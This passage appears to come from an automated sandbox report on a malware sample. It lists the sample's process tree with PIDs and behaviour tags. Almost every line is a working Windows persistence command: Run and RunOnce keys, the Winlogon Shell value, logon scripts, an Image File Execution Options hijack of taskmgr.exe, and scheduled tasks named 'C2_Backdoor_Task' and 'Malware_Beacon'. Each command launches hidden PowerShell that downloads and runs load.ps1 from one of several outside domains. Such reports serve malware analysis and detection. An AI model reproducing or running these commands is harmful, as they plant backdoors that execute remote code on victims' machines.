    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:7264
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6396
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:6860
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7824
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:7344
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7620
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:7772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbetmb.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7212
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:1120
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:7300
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:7824
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:3648
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:6660
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3340
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:7348
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:7920
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:5360
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:5740
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:5992
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:6360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2772
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:5892
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7628
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:7932
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:4444
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:6476
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5288
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:3768
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6456
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7568
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4408
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:5600
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
  2⤵
  PID:132
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:5604
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc onlogon /f
  2⤵
  - Executes a command shell one-liner
  PID:6472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7796
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6880
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://toplikes.in/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7076
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6524
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6528
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
  2⤵
  PID:4856
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:7628
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5156
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:7816
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    PID:6448
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
  2⤵
  PID:6304
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    - System Location Discovery: System Language Discovery
    PID:1468
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
  2⤵
  PID:1832
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5604
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:7520
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:7348
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:8184
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:6760
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  - Executes a command shell one-liner
  PID:2052
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://gaylife.gr.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4616
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
  2⤵
  PID:7544
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
    3⤵
    PID:7848
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
  2⤵
  PID:7100
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
    3⤵
    PID:2828
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:7788
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:7744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
  2⤵
  PID:7664
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:2480
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  PID:1708
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:3780
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:8140
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7644
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:6128
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://slotxo1122.com/load.ps1')\"" /sc minute /mo 5 /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:7712
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  PID:5196
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:5984
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2036
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
    3⤵
    - Adds Run key to start application
    PID:6212
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2196
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
    3⤵
    - Event Triggered Execution: Image File Execution Options Injection
    - System Location Discovery: System Language Discovery
    PID:5140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
  2⤵
  PID:2128
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
    3⤵
    - Modifies WinLogon for persistence
    PID:3452
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
  2⤵
  PID:3292
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /f
    3⤵
    - Registers new Windows logon scripts automatically executed at logon.
    PID:6036
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc onlogon /f
  2⤵
  PID:8180
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4324
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://luck8be.com/load.ps1')\"" /sc minute /mo 5 /f
  2⤵
  PID:4728
- - C:\Windows\SysWOW64\schtasks.exe
